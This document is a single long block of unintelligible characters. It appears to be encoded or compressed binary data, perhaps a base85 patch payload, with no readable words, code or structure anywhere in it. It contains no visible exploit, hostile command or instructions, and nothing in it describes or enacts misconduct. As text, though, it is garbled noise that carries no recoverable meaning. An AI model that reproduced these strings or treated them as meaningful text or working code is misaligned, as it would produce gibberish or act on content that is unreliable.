zp|+Qpox{{Gj2CraE^ZF^EHxL!I}1&pFc+7^2MN+IOzV>P_8r)E$^sgED=WT}(3}yJ z;K;-!@tp;k67sn`K0=U}N^B`#5#Ox?TW(+2I+oW;b9H>L4y@t-!ukb~rRF*y)ZxdN z2hdW!F+N68-#f?!<`LpY2S)NhJ63UXJd)y47gf*jS`^0_rWNswnNEOJ|Xx^P|? z#KM`!ct&Ur32WwU@g|YE25(X-^WE_ah32#SY|VTS2<`K-a!a!!euvO>59`iCC(c%gn)$3GHet5VD7srWa7 zyfelkPsd{&snxg9=iY-+W21Q{-a(M(QC=45+)--FlpIY@p?MuOL1{jYA0jj_qYYZ* z7(q5XX=#3npWTt#_yfHjX;zwF`v0;v5cJ?_>(vawcUa7>q7a)y5dI+)x zvpu9C(ytT8ElbgZC^9f{U?;YMnfoiU)C^3F?ZlR{-*v9gU=A&DoWzPI6=^g(10l_8 zO_6|RXyOz}>$1xgX*9b9$mvK~)7m%Dj93_Jg~$J-+ne}Z@;#;&d1atU_SA}LlNV7Jv4kIzFXiU>sSj9_xDKwdo=JUk&U1oL13~+!nny(TYyF`Gj z3}U_PewE<4AV~O=V{U}C!Af7EP!NN%P~`hW8MbVen1eshA>~4I(K1EW7JQ$m5TqjH z^HZX`#CmcoSNNux1x3Hm{mxp(s3uB-_SBbDZ~ zHmT$zg7n|hBGt*q1WAW9HOVKs(%P&FQpXAUjW$?qlaAN|V_q|ppY z{wOrhp%swk<;alaHr<%7@=8S-&Cp~+H_E)^I*o;QyW|+G2bGv2%+E7cBap+p{U6%i z1X|~+iyz<5z1+C-tdKm0tIRjKnH4HYat&AHMnnl|l(|PjC>oRu$y9_}rc9a1P%4Q+ z5{WcOC9f&<|LncL`+T4KREh? z$Sm+uJ`s4xV={1WN6YhY@vUWeZ2XO{S(JIC_zubaPmlSl_#?&l;C+K+8u5>&ye9Be z@k3=oC}HjO%H-34;@?SL8=+UUJOhjWAk2o4%8ZX1Qv94SCtP`k7QZNEK87`pW38eQ z#jm)A>vgJ$r89;Z)N5O+mT(n*LF@)$zQH`!SZ@mhdo|n2Gan3>x%=EGDv$qRQOk=8|J} zcudwhi?x#(lxH;TAI*K2$J~W9lo=Ger7W*#pWv3DGS9>g4{|Mb%~F|1VxNh9F39QJ z_qH+zV@JlmC^A!=%&6Ff!mM=6=-A~!?&XrhEUz)K8-p`3qP8^E5)zGx-6JwT;cS9) ze=v4T?3a=k8qZ_K#vTjKK&+XNISY+U^m1&Ga?G^r=`%&k@#r0bR%Mxd$ixZrEJl}X*ICYj8-*jI!pH6b7=Z;#y& zJ6)LKj@cZ$pd7bqt&*0`=GbK-bMY!=mc?#~T_Mb}FlK|q`s_wcxn;tZ*zF>73^$p% z7Wwp9Y>D!ma%C^C4Y8lcRxi)3k@J+5XLoEPVHWqc-1o)aEzF)jRc2r8zS#SPso>?c zA@)FQKS?uRU3u<}8zoE$*QZ_LUKVDYOQ%cR^ei3;UuA2(R#Dfug(7p<^-eF3Dekp%&A5l- zKFH#hU-!C=-bdm#NvsW%lzBGpk+?0w^mfc+al3@+g(>D_o{alNn5mBG zA9qHW(k|BUxTH$l7yGb+Xupq$D^ZDS@q-&bqvFboOj8$YtjC;jDUXY*Dl#{?kuV{y zjxb-k{(3R4nJ`;ji@hAzR+zP}zg~&!EKFzD7Zc-p3X|Yco*36hn5C{SUX2?d%v?8~ zUyTb%Ey}z3H9Ky+$dq;?VKp5H&QxbCaygSaUo^Qx2C=rR0akG9X&xVKft>E~^6 z%Osr#$6Gqv;x>y+)ebfbKJl2X!;RS;w^w97Dy5^hSiG_g^~`Yi`tBjRhG0xG*g}9nQ>IVSe*;I5UH< z<60bg*z%(Ie}p+$Q|mP#p-6lRtfOR#c}|(_u|?z4D|0Q{Vi%x2ctw0AVR{d;_9?>* zVzHl=Wwys&2WB{!BAt}U$2-(FicA}CjcXoXBfddpwsux+(DLL{cKppE(|53?(=EP< zFqhhD?la=M$F~*cMaT4rzfYKn*n4vBGva&3_Y$Tc*O&+59~WjvYhxaaA1utQJYyb; zA16$1J7apsPZXw!i`6^+4Pkz5V={f>7YMVjy)pgbHwZJ>F^|Q6CQM~lp2y=42vg4G z{$%_yVcI&Gr{aGVrmQQ^kobRuSsTU_ufi?=m1~Wm@hQU8cDWCWFH?p4V!4;shS;a$ zuM?R@E>eAhcK#XloV57(+M$3HJjb=Rt|#J?)cFjvz_@pFaw&Bb~>{(WJ(yWA(oZx$xT z)qQIG&MG{{et`#u>y=M$#D66+Np-DWZ^R#}QaqSUi_=x6fM&*@6q)@`E3>ia+wqsG z@Q(Gl_8Mz-)Z6h}GS0~2ZxEULpH-O+v5P$BT^DOv{LNLlPdi>?GVjOVDY52wTB2CO%J{Cr zZ1OZov4mCe4+%5DF{|UB5@v&E!4^wcA3sWE!kCv-<{8UtWBe3h@?3c~#=j#>rqgU6 z#&42(wH;^m`Y?VsWbiwpF4m9Cfa=#rQ(lFiT|O!4#CtLuViP=Ox>wU;2_+Mft8vRG zjj-~RO{gHuya$xQ?Y@K?s?9`RpEcFo@ycdGLABv!@nwg{-A9!k^XHZ#)T~yz*Z@wNCh}S~Ow}gojv}P9D?4G4~|=Ei!E!(>Z~vMpSm%FxpVC%A;8?9a7Fc4)a&8yygTH3l|2(;C7oK(>ioBg9s$EL zzb@DE6wp&(3a2xK8OVI|pr(^g!xNGv_eD6}=D)k6MSCsY?^$#up|NT?~y9g;t%KM2{{q5rX|#ox(}SHt$~x8gnALRn4WM;gv^YD<`FV86WUA4L$xuG*X)G5 zBV-B^x{A!;x2-(yCUh63{rwuPXkbY~FEF_OQOkN~NkSiyxoNJ&+75>MtI|#@^Uj3F zB(JaBx9y)M^p{xk9kVN8pfLC2yGZ`ar_U1x3-gkbIg~I`nAe@m4+-OidD}6+C%h(1 zWyf4dm@Z5_Y#U8EkT_SEk_(NAPh2d_QM^E^G8u`hgu!(2m=cK}M6}q|iJL{Ho|7q` z_>nLZ##^kKiMxe)7WO><!J1iC5I%-kH-&`?P>MCl;$wcsAw#i|L-2RD;NPVJ5iw{!!v&VYazh@Ok1asnuWu6< z3-fhtV~!@Ssu6|pbMsNHMLvC>_<=CzHkr)#iED&efP1I>$1-b$Sro>s6J~!WUuM1J zwa@AK?-MuFC_J8jNZc$k))xhIDsiVU&C@OS-#uowYmGk=KNXp~a5Bz+`E)k%OJV%g z;auWAVSKHAKJkDs^YN9F#=4OBjWAcaQFk%%TVYyMGMT>;j|lT;6=N3v3sW2Cbjrjh zU5tp8kaS68?x=4v$w`5ltP_^vYblMDk`ygWD>pV$lZpz{wGzvE8E3vpRfX~Ut9DX#Vf;S5F{!37 z{`y`w>3U)O^}T-54Z`^Ad&8t0Vf^*IaZ(*&{E={TQaxeP>sn2lCN&VopQpDZH4>(4 zd6Q|LbdxY`@m4$k<navM5eiG)uBnfg}D!2Db0OYQeR;j)z!@MX++YXh;&9LEf<;SK`OH+dQ8%)2$|=T zw$zNnXgShaWeR9~(zcpxACB`Fc>bAzuJi4~NlDu!Woy*}nws>9FdsN=GYt%1Sbfrx~+4>7+1qag%}n@@Y-dDPc?>7SQ^n--WruSs)vkDOC55lP(rYr+_|5`dgT5 zaN}1~{=#GCjyL8&QcO12>q|GkzDr6JrkhqB<@qrwQy9-w2lHD}8DYA(dHSEEO4)_W zb1A8Y$h?V@GR^&;r0a#TcFxD)(+$F;buyVia&2L59BNE-a*iwlq)57jF7n&%n0NjyIf`9#Y)bXSZ252^&w_Z3x9-H zPwrAE_X4Vw+(Q^^!vd=9G2dNpDd#X#D4jaV4@NNcllw$4jglXUU~W!+B7$j_JRpL( zEqO=;(;_((!Q7ertd!YotpdtT9upzch8eWamtGs@Q@iBnBV_WDCqyuJC%+uQbV`0T zg6W+6dIZxYd76xbM(~;QUjcPXo*~S~j@TWCkYhkd%GB@pSSoVf;P~CGQqyqPK6t9yWPT zHfy$O)ve4UllO^CnYWesE-*TIe?(qmlD`p|jWx9v(6q@%g?Zjvy9?+=kLi|VGOu{d zHYf8c7|wkVzFFhH0-EH>Y}bmSrc;u?7ny=KR>E1yCnYa`J)Pq*W1LQymwZZO<~p4) zKlyiI{&`8ulTQniPYdI(!tW-Z5oU+e5{r`03gfSgOOnqE^XvVV&ilz1rFX_I(h@>r zCtrdLQ6t==;J;P0HaY70!n0{JGpM`S&jqwC`HBdcJ#LV?+u6POc;Am}Q06t5O;Y zu@dG}<&@?T=~PW=A$i>bADZS>J>|{_nOe-CRc+KkKc}>gkg3BAWPDq+NyGyz2=h~WOL;`f1Y!J9 zH!|gAVRpG%j7^y+OnwcE^+L*P!hGm;DT6PI`7fWgq-+%CsdmO}OZiZktKCj>d&)Lp{2lAgl#hh*cdVbM>=b5! ztNRxzp9&LlyW_nnyCTN(!IUpV#x!<59ZUH}7~ifto^n_i(>D3^L(0*JbWWrk7a5xc z1@uSC@51ncxN5slx1}XdP zb7kr^!uYLPGBqfS->Rij%SWVhb!t|vqNvi>&zly#CiS{n2}pSZ?sV~A0aXN3xTcj; zt4A=^Qm>c1Y`0v-sX?hPB=^r!QfYX$oHMzlzNB6+GVEP#IVGG-?f&_f>M+hct^#?R~F)Io?v^yL6+pGQ)MMAWoDGiX(Rb`MW|PMA#3 zBUC`oq>hyl9_Q?zkzfk<&bZWZ63cRjy_z~9LgqzgkeBJh0-BOKMHpX4O=qT1zt2jY zE;7ECW=`r%FhrYhKTX@`?bO*K5tb*1F)+W;S?ZW6|3E-cT~Ey7s)9470h4E|pTk3gX{PA--^`bC-3ICINNf^I`=TrX?#xLQ; z)W8iqdi|MuDK%OczYQs^s4)IGj841ah7pM6YqprQ;)P@i=n62rg7EkF{0IA)WeUxL zxU{%JvGOS)E%64{b*D{_QDR!M$eiyd$zZgkrd=(JzaLCX3rb#p|73f;43D|xCDZC9 z!0`OqUCQQHFzs4l&f&Hp|E;2HnJHAl>LPX<9>J4nCvxDxh1_8VhsA?fP$Hrcilu({3x2dp>nYYbA_tvvo{sBaCSz z+^A3MAdFd7_--_@mKjw>xc_5m~-BVPXT@7G1a_QEue2b<~MhG@}0++PX^jAZKdQj**llP>pE$x zh3V|Id;uNvm@j5p8~*4q#b+7wd)j7+b)EAz|CP2A41Vnw_ssck6%|e28=-CDz!aVr z@yuZK`Yo1}zF!!B*Or|AwJ`qv^vd+Z!ub2stJ1#{#^yx(tj42JKi&yis`=zbK+XnQTbFO{k$-y)$zW1dJG;0 z47VX`GlRPO+NN%LTy55(e|RU4k44o_PpDm3V>e7ss?GELeK+45f#H@vg>T3BZx!8? zo+9b^{+4E73a8UDJtLw#cQS*NZAF8}HNB)Twp%ZtwjSg6S38e+qr0_6`}9&0tNAm= zbV$ECBCosCuMruXo{P}I*iPx?gsJb@;Rj>$)3YLC-Ityn!SqPaky!o;+bg}k=I+j6 zd#5)R#^15_O>ZKMe>(YadNX0pm($UkPyNzwm3D4C(N>~I({HOi0=?7E^W@~y6X~s` zo!5<5nMD~-q_-7jGj132-=d8E>FtFX<@sP2WeiB~Ak2&I40>>S$B248o!&{x5$TLce^6v>9Ol#W>3yVLG)hZYKrf^}EafTI*6KbX z{jrF2UP*sk((!lD)6<_8#@|8DNFOdtRd033r&;OG*5 zGDZmFufjbtMha8V$@;Ws#^{LL`(%s}8Q-SupD|Gwvzp*B%Xm!~e|`Cp3itkWNJ>fkuW}Ep)ix0Y6)+Oo}95LBG%N5B_iXW@65lCPR2%&@jZA28C!+%J$UbBY!}AQYjMU$!uWoqr5T?H)A=52 z`4t(T3$xapJFLq1LYNHaG5a86uQ2z$VX@X`d?n1YvyEAou|J~B>oX2TFdH+DNG$Vp z7tn_pKSaoEV+KuJ?Vz^vD%z3pQ-sVn%pkb-Ig|M|*$I=AVqH8+o-VO8Pg=Qg)rk?d2Y*WBTO%M`rk6MlQ1b$ELLu2H({YykM~7_(sWsY~X3VSY>1ltXddG8YPCwfG*) zl89dJp1CR_ogSHMgem>7SHk$7nd^k<=-u6I2WE>f$8hVO|Lz9!u`rewGoLGi+xz@C zBmRNReT8J0IV6m~%YHEPSRt8t@x3yC5T-J|Cg8u7@egJGT1bYOKZP-?3BPTTc~O|v z&OYpuc`2gqPh=LY!z0{Z-}`446J|MX@AKbp@dGkrg_$&3TjNhK$#r-nT!)+a@|Q3m zGgD;zbB6($R|{jUQ72(wW?5nW!2NmtyD4E%W~D+h%v7s00_E{N1A{Yfs8e`W4q*l| zC*6JH5t$8y+2ii6jLd8#jP0#prDWbLjP0#(BRaFGFtgpM{n*S~gb7|D1;p$gmwB5o zCq2t*UDQjNcSw0AxSL=vW!@<=pDnOhuVl6sW|@NSv%4_!y!q}kXZlCVOtwpPC6Rk&5>X7-dan^w=K zcQShk^XgVjIiKcd_KxU_#hFh;Fe@{MNGyLhu{!hVh(7%wbGXR#aw)H2CK#^gH)W0! z8Q;(LVdey3d_UW^%$J1mwZ!(!SA_9xiH|cU3A3lY)naGn>k)Z8y7*koRZKuM?!HUl5JJmI&QAx20Lz? z;|@CR7mv%LJx8MGx;q1uMfDd4sG1=Dt>s5c66J*+M=vkH-a9We)S;vj0gwCYFGEKk zG&J;YLpfU%1*p%-D5{B+1GI5%6x9XFkvpzUfr8WtC+N2cx)EQ5+#%@bya2TViisJA zHI+-17vfv7ESDGJUtd&oGp=hXs=L;>d*D$~j(_!$5q=r`SE5`&*++@m3+nrL6mI$wYUe~Gt?Zf(rApF zB8C?JY-rs3hK3zB)ZiCGjZ-YQG0BETJFcYTR#dPUXWli`6nRmE)2=CHp=p(BPjmO+qZsK}Fv5O6ja3k!M7|Uay8yl-#>lO^P z(Dq4&%C$DsbepC3wHv2n{xGft-XPQxP$fg#vJ8!^Y-sHTi*a*~q2>6VOyj=cP&3yW z>s`t(ySS@YTHGJE8u|ubxM?a=pR!TBpq1qta%G-|FNaia5KdYZEnQ}ElT!_SecnQk zwKwj7YmIc*3-zzJ(4nrkIvlXL*DSN#4(&DcChh>w7Hx6ONBDh0(IBgETwNgO)^j*T zk|acz_Oq%L{e>#?WTWedVrL ztOy$J)o3~*sr-F3O7aNO(BlC*F5HD30s0vzK)2(IcuqM$=kPtPwpwR=yQ%0l4+Uw^ zuqZksF*f0M;Yinrprt#~n- z6t&(Q<)J03jr*&7z~chL4b{PS;TogvXydNmWO1`ydYj%cx&1EXPA;@mAB*uFW|XEk z8G1v}PumT>1AVVtMd*7)Ntlg_?!nww^gPCaqR!u$9QPY@F?3;utyXh3kgVb{bo*yI z#__wm_eFUvIpk0LdMsk#mwPdC(txt4IOdU}zfl%O0ZN-15Id&`O>k(?%~8U^)ZMKq z7opE!6}&1d?EDP@dQ;G2?*wq>$7|yh_+obncOO=WGQz!#RGt9BD>-?ZUXXg84tS&Z zbzFbA8YKwQczn%VPS70Of2btr>f=##15j@00NRDeMs8@&n~Ey9R4S04%1q4PMw$w8 zYbGe;<^bI#C~jSpYa}6b(XI z@l$#^W@5nxwLHO*FkN=)!9OK|zAwnnJjh7o=Qh>PO2m zdZChyVz&MV3CE$!1U&)|vhHG7Zmn=Ew--oDx&V0u=#S+A>Kf$qrk*9bzA3lCK&&o` zCjX4n2*?F#g+qI>GAXyjq2u2YEfu*}!L1bZEYjN~X!kx#?<8z*P5HprhR*IcRDhQY zc1jFCy^0U(jwObUz>UXoV`y^+LkBPixhygCvqQhEj`FxK9V&}dH14Dgnp+G#v(4h} zTNR*Pl8PUC9*${^F%nuzQM+AM(v$<(2Vg%Oq)HCGeOSkR4poMqkVA8*6f}sUwb+9x z+77*@=)w|3K|1Qi4N~ZYrjkv?@WRVplq!q99u%Mhg0`>GS(ZgTt3=bc;DUGo4Zp%I zp}ZSACFuSmQS_&vDA-(o3#yG5m>C7>36#0mU7Ye@oF;LM0JX-Big$)N#5O|$LUU*> zw3(thWT=fphoKKN6mPnCsBe^^y$*fnLjQJXp^LlKp;`fp+sdK$V54guI~+=KDQ7t} z;sv~qDP>;a;!?E6&7xZ|E3{qs_f%Ofi|)s}8mtp@XesvHso(;Os8g`nsCFQPo z$D*E~m&W5f;6und(8Z^>@(`bWm->$u|& zX{mzr=XLN9NC|pj51T9KM|f&=XWi&I)s8``*%`lLkI*do7VBGAK|f+0>>;QjtTb)$ z`32f<7`xcbYUsPDQ9nuf3hc553hFXVTP;XgnDN7eOP*z1uH%mV6GhKR=P=N0DY>)sw>ChyHp7l@`?T*Lq1tUflJ?)|Jb&%)QG=%1bE`35C%6F&$ z`&tb>x5+|Bp;XFMhVE0;46nf|>aoz!)~_t|4Onv;`qB6hGnGOy^k6C z3;rSHmh?2ajxKad154#3bg{~vYGK@`@Z>4?7gk+Gcf#kUX!cPO^3-=DPJC|Vwa3P8dHJ2+xf04_L&xrpYXh`U;=XbO zuUHEj2DC!Zb3khay$!Tk&@`YOf-b;1J$C=FJn#%`f!8Bs6_`?Mhh2%_s4Xe$I!)2 zs(oVUE$mlWXU9;;q4#PTHyavLL%Tks^E`%rMS8-8c{zW@j)hw&FH{PnT@lYMMIE7i zbl36zOw&!)_RyX1ZT=?p_~-(O_6gEU=ZVfZ?vfy%o0Eo}Qfux(({MpDEv1@4eXpz; zxLxu>uVVfxdK}|VQ5*Ot73J?YZkY?+1#Q8hL8|kc?K&)vAT@K^tT|Szcqxm?WzoLA zwtoB!3qD0cO)gS%v7XEev2Ie71rMpB9q_LydKq@MqFb?>Rdf)3LPbllPgc}F*3k9W z7%E-O&_?(GRBk&wREk=_$EauxRuV-#-xSqxG16xnHygM7IW$1&_vq@9P1j>zrdodX zhyZ0ueOqmfqEbLP^cJ*eP*8c;-i)&7dF%(Xgxic!R|P0YEwJaj4Jk+VAX`;=A=V&@ zS}qD0f_`BRcI-~uv#&Q4HadA6)I=V6p$b?L6^*Ko)n2#_8OGfXdqcUHXDqZnJa@`f zgAJmn|11k_houB1N3+^iF=YG^!0j^_K;!-n|8M7agKEtM88 z8pqbUhVmPdif$ifX#6jRa;6xn=FrnktZtLAx@g?H9qI~grd+FW7W%*nE5RoY&BxAA z<>oqW#CR*!Z;o5;(0PYuV*jggCpd1Xl`aVH;3M-Y$?xeW@r<3 zXkJPCS&TPb%99+5U1_x(gk77)=0Z1GP&O5R zTh~E&{Gca!-3riTr+rvA-7hJdehv`(g474)>-(#rH}pKJE%e4;r`b}dcAxGwa^!b( zdr7{FMg&OF6PU@0Shp+U*Ka&IhYn(FD97*KFbYzetF69%ySz6rKo27{H^e&;ZL9y* zeyVr-OQ~4zGV=9qxQ?yRJ4#wNFI2pAw1?6wY6ie6*8K;Df_ zko0_RI?fVwG@W*+@ku*Hxi%r1UPTP-lTm^<1#v3x2x5H70tLgYrOwc{Ukg|3EM^3D)&b(v>%$V`E!f#QQ)+l; zHWg$x>N>ObX`M$wN_1#N$hZ%%ma)|rBrYkhM?vCWZvIJ-l{7##zSngN=OJD#VPAS{ zS%8M(B$%zQ0L8+S#bpW7woC!^?UK~~=&Ek@0~lrK{j8GxXOKz z`K`7H`bA4+EtDG?4XaP%7Ebv_N$(`iT^b1TQ?Xj+hGKA9r51eQxHn6T*F#a#(?NRE zAxkBEtZiQrO}8Qjw7ECC{g#aELA}K=$l3f{^H!4Ez33y>LqTeVy`Q%84{7E(X^VRv zx~AC3#%Ui~{C0`)p|kLU@B?dH{C2C%GR%b{IDwJ!y#$Xj@u~1 zbcE%G?u9PVUS-XoA&dBN;&y<>oG%DhbZM0!zHy}W@Jrz9*uEuoFBGJXIFZm%@*sAzinh(QJ4#$5ZD&6f zKV|b+2kA!4JdT?}6XA1X?UO>s9h!sv{&p#q-&TGL@qE+$xjz?t`-N}*=-$O|@#^q9 zsx?;}ClZmXTG4BvXJu?`_B0K4NI+kp1ZwMPZst?K3Cv$nbV$m_9-Hq4jlpS#dRSh4 z&n!m24N7@-XOOIh(p zt69h7-I$F!*8bh+@X*6v<6B%oVoRER((t}vg;0(8r+3a74BHVL#;z>^B?yN3=K4A> z9k+(Yt&3f`uAH5hgs#x+yP|0jsn%V&sL` zPpv4yQ zP)|3@N_=P8_jigXVVl9<%Y^*6=%yWNJ$^y^Z_Y{dnS(6#Z5(Uc_H@G zC|U`Bn4<2B46%1cIkwgnwTEBSLyL`L|ABH7HXAy>#}IoGG?YCyiVnLHEOq&|b}0uu zxg07FEnk4v$fizML%DUc>7$L-Y7N{-{Ni_#)(w)4lFN;a0KI_m`~+$qpcgyhSE~el z3N%j8UqG(|g|`*2h;M+)3neF$hp4@wQ#h5^(7Vek3XdBLKf^4En~jteHA9;!;`3ES zJ5h5+k#Xm`xQhO07e$P4=jp*HS}5r4QKlm<{vAcjg)0U0fuPJDHeOo1Z#&%8(6Kzi zvT3X5annxr^1FG4&mGWFbZdnAWExb57w{{1k z@Z%hu$_lJev4Vc^<{)nBcxbqUmOv=tx)#5L`B54i_KmP}f>kKW%nyfLN%QJMiy`gBwmAD?-Th8)-#mrMQ|4Nf<{EwmUu*20*KCx4@9jCsE zhTLW4dmY|J=CWu(L$%Vf=;~lJRYpCs=#|dVbOTTfwa1E6SGcF3V|A|Hh&xJ+z+umM z-0tQ*{$xO61Zbo~uc5xTLk{)<&L-MQjBhUBj8xF=3D&>&IW!n+1#4xjkXSzyb#vT$ z$Bq8cc2w`Cn6JS0R@t-|V|O6($f3W+M$<4s=f@ao<+#}%%Az}(;FgM%>YqEJ=mkNw zPe;+qg4Uq@7zN4CZ5sCClO&W+(x(Y(m273<6_#y_7<%Zi+LJMqi1nP;!5FFlkC&pl z@cS@=mFtxc7Rr?Y8q}A$N4@d|=z}W)G*j~6`!oxH!sj4s??vG9LgR)Qdg_j7kDCPV zk%nHs$U=XIrK;Th@B}i7Oz(Y3ujiy_Qq&paUeVwO4E+jSqTG?2OzxkVhTg=w-@XBKx36@~wbdo@6fF;2Oy{B=4=Pr>?E z57m9Y5v_(C?pC;#ER9fZ$?zE4Ah$*24mml#^BI}4$pvZ7e~FPp4P9Tde@IjL?`8S# zp+CN07UO@H``Ig1kP@(7a*cwt1n0GU^CE|SbamU?Nb8nEe>iRrRx2&(|D9Bxc4hHP zknP&#imU#&cCk5qxjx6f`(9lep}8G;V5M={pXuBRklky}p?~*p4DEvMuJBwGXi*O{jpm`6@tsOkpza-~$=i$!^;`Q3)@fOlU*8$4#H3#tN-EMIky~$6G#>%ef zG1r&;&bo2~YFT=pJH)?~#i5teqW`OoxSS=EMZAw!YcuT|)xa@S2KS)YZu0g0|GKJW z(bU=j`VA$`qWz@9Q-i}Macc(SI9t+jZ&Z5uOM^Pd|1C)d{Dh((|!Sh5{3i=#Y zB=3Y{Xaa7Z@QN5i+u9lGwOLom7#coG?W-8FJG1zf1Z6HK`OeS9NsZ)@2JORp5`0HG z)T~nWnO8+<7WsEWJ9?h?08Nd?-csV8@J{t}Xq2}`VRboyZ)7Eu&pMh4TIugAMrv;G zA|o#EKXPb?7dMBt_^F@-&7}k@F5;FR=L5TNMk?+6Zwo#^haQWP5tc*Wcx{jGkl{nt zR;%tTfDXi_&a+_Dv!A~nEi$ASGzl| z$!_HWaxbGdV#H7>oJBt(=pi>={L#cZ;z@-1W5XXqS>(rf&y7F6`8^0R!b@5%`QM{` zu*Y4_iuCPW+(3jzXZ;e1c*ZNIU&yfB(^67K{O!7ij+)4O2($Wp!b8CHgbkLZsgU*-R4?+Re`nmzjq=zG|9y+>(aB4sJ9q&bpCJY`8y@Q%s#r@I^%~1 z=-=fF4>cWeIWC8qxO#MhFOqd#G})~1W8_dvH}h)Yo($J5_&>^BE{_;$Jwx|u{%#S! zjG3lu?d8_<%k^}4`TpJZ+4Pm?_r_es`pcF=ZfM()DEa0Q^*m~*NPWCbAme^KRtVlN z1ZYZUt!02d^!#DryNM|)qKW5VUTCdDU!TNzjBqa>Fto&R_jp{SSBU3tUZ^d+-HO)Z zj*`sjh?}Fl2IPerz}us!EaVjJ{XXEK=i$jxZpbm?`obPpZUXFaMIGT`R`fCa7K+}5 zw}Mf4`3}MQ=XEeI#BXdW+CRcjbH_dVjB(A*>&gk=KRo3cW7{8w#>4BUTsxP_OYj^s z7oP7F*!R44=Y`6lT@>*-iK4;iA4UBfYL6N*7v4t|-%^_^FEjyKg{`mf&?_-(*$&GK z@qJrG=g_8Nn}xOg?A;_fRhSrBCM$xSf?Rnj}txF8; zb*L*!&oRQ=U~APVv4ZkKeB+Jnp}f#V*t?46d!gYmUg(bd)FQ|2rzi{dGb60Yu)=lL zelcBF=OFPe|5423@KiW1Tb6mDmZ-1Vm?NA{{NoGNiJ9^(8G8(~oE3@hcHm{_^)id@ zt85-1_Ck!75|qKt^?5;d;vPfuj;maN)=h|}$rAcD*45cSI19ijfO@R^V$bxhaAhA? zn;}T+J_^uMi7~urG_4h6DTm*QvGdvh?e}~)0lF17%|{Z$ELz+Mb(Uo<&q5BkwFh^( zyn5iv=V#3N;&)CylT!VIvg{G`G}h@uf@Xj_D(D8-)F%ZUT4(5|I=Iz@-2`-)X9Zy% zc-AmxEav5Di7|anfc_R_?H8a|kV>)k9QOcPNcJRQ{+HV5!Bm9ig^GS@XpciF4%Kj| z1U$1EgYShaYK=Zublk~xbR2uYH8j@ccE-syU8JEV9$q9)78&HsXfQ3O*0uFXi(>k70+QXqH1YYT^E*gs#9& zT@h`x7%|@&dasco)~qb2d8mhq^I+=>H(PP0r0Bp?hSp3m)E#~h4PEcJo{pR7;vRN! zH#xapPL5BnHI>rv=O|*&ogzN7RwUndqg3G~WsdhBc_A*9B2G^cmrv2#F7!^vWg=w_ z<=hnU{ar=@I)N{O>Y?q+)8o)hje&5(2j?HE1v+3x-7dY_0;nxeHkB+FP4@^_$ss<` z=?gAMsYvfJ2|X2z_U7RIjqP-4$zYtfiCk^?_4MTeI}M7a!`MS`AK^>>bI`1kiiP41 z55C5F30yV}!5n-oB6RX(4GmKB{ZTYk@>qhC$9aNw;>7O#LNRhffAvsXIXCoSPerip zQI7@EE{1}aUGLK4n(M8cErM1q4@kbar@Fv2(y#D5X$kmD?kkadW_T1Gbg3Kx z$|imZ_PFD;EWd8j({SAM0y-t3qui3}I=qXcJ;?Rol*8+> zE1_H zqkWAOgBy9^P$LiFJM(3x>-;t_y@t~->@@X77Jp^(--NMuV(?njA4IJrx2WH6{tFad zOV%KFgUbtDfQMPpy;;#7`muJDhvxiaXcOi>%SFop>I4CEhACK znvG6;o#2oAccZ8q;^NJV1lvKDM_aKj4$=?*~ zx})Dc%FyuvIH8nOrsKSpZ?R%rJZGVuGxQWHKr1}WAE1k{sx-Hzn3p3Z?seV_#k%k0 zs(G3L?|pT~_na~t8*GGELt@n4rTz`fg{hX_1JI7T;*86;7)!9a=*jogRmOcc!}Qvj z!_cRa-rgVJZxVFmQ5!GoyxRo$dID{=TtfX8_pO`H#_Mgg0DU~x(1T;}ReUb@!uOt+ z4zH(pUOLzj4khEZtIGK;G|jbIX%7X-Z>u`6cQ>FcL7KD(x55N1{}|tbO8GXqTKe_< z9i>+!zT$+{%yM|?!t2!_E%j=S8Hy2mg@p2(Q}Kd!WA~xvs}7wDpY|nniq@fX81Jv4@J~vgibE?Xs8Y@+Ex& zRv(|qWz$^TrK^G%xa^%K5_U3{9vr<-`Tk7KPV0)dE(_0FLEhJ7VO(M)%5+8!BB1R+_XV-vZXVjW$#K zH?gv)Uv11PDS`RI19bX6U4O&-_vwiN8VtF-(4sipVim++)hasfp=_!#AWB{$3Xl83 zIDFqDF?ctt=uzxv6y1wmk)pZ76v0F9l{t&PyjAC=dhJI_NqM|*j4Y~+U4o9G3!cX{ zi>^g_V|$?HNE@rxq7$Iim5FNRh*#HYTOB*x%dp{4HT z82xZ|$954<%JH9 zGqn75L%A~z9evx-*#(BO-ZNCSyP?=;40W1lXxEK~zG-0Swjzd3#u|DD`yMUJknxKA zG6(5D@9NqeUP~LNLD~})O_^F>oX+ux2+}F68j40iCn}ncHBWD$_b#QoW4sKyHk!&x z+#~6@OCsn5xO$r25Pb6ulr7_w&&Gnpcl--v{kY{re9&%79vxmyNw+_majlc5r72>XwR6fmygyc5Y=m`?ZGrOC&W&PAIXvG+SXbG~ zz1)b1rU$+CD4M={L2W&(d9!TIdmA1WT}e8)bHDrF572g$DnNDW;92l*766w` z-?fOM!-BRrR04?m4b}+cjtSZZ#QPq2z#q2nM7WRm+YFqXJppf{$o=~(-5{0TYhoY0+pxQ4e-hzP&CEkeTFhX@Jn5*-+Bb- ztE2cPNw^1gM$wHx;U&FX9_;PrlyPIQkL^A=mD^k@xq?O^z59T&=?2{D)V8XR7V0IT zY-Kzw$VLQ8?)uM&i!|FV54g2c-LUP%3^X*to zOLBczp#-ZDnoaFcs`Y}3B2>|=+e~f~&=v{pfKWv=7(L+Kt;tCYtZ)cN6$-mcPfwR}8U+zAq6?S3xd7 zH(qI|u0wM&jVpSUp?;1l>(F?YO2DBnU1)EY-foAMdnlV4`;M2 z=Q6A;Qyu!mp>7T(I`mz-#kk*|; zwtbLBq2DS>isWnh03hQenHS(9+yS6po?|91V(D8-u^87 z##^`?zu2auxT&`yX1O~oF*I?Mj=CVtPqwkK=YUx#tM?l!nW}HlsfE`JrOFLWaF&ee zHT_;qSC^z`t>*SE9=>12cLcX1uD;2pH?_lFnd`0^9hQiE)X)?DzXqLw@& zkd{m3N$5Xq-B+-ulQ)RN&W|Sd3s85&%?mB4XsFgBhDyRKuAyDV8G5aYhKAR7Fj9F? zQc2$uB`7>}KlEf@32lgXG!<3CykrzE*9GJ6F_ByTsG(6vnYnPeM_UHyDUmyxr6@e~ zefX+|Na&(FqCK?0L)b65FU*VMYZz@8|IO;BFhi9qoo1+w;~F~dFUQq%DC9!BI5fhI z=L1e|nnPz|Esxm_?R4lOUee|^4bbNf-3`Qb!@U`|KmQ`hQdt~hDCUs%7Oa1Vj^Ktp 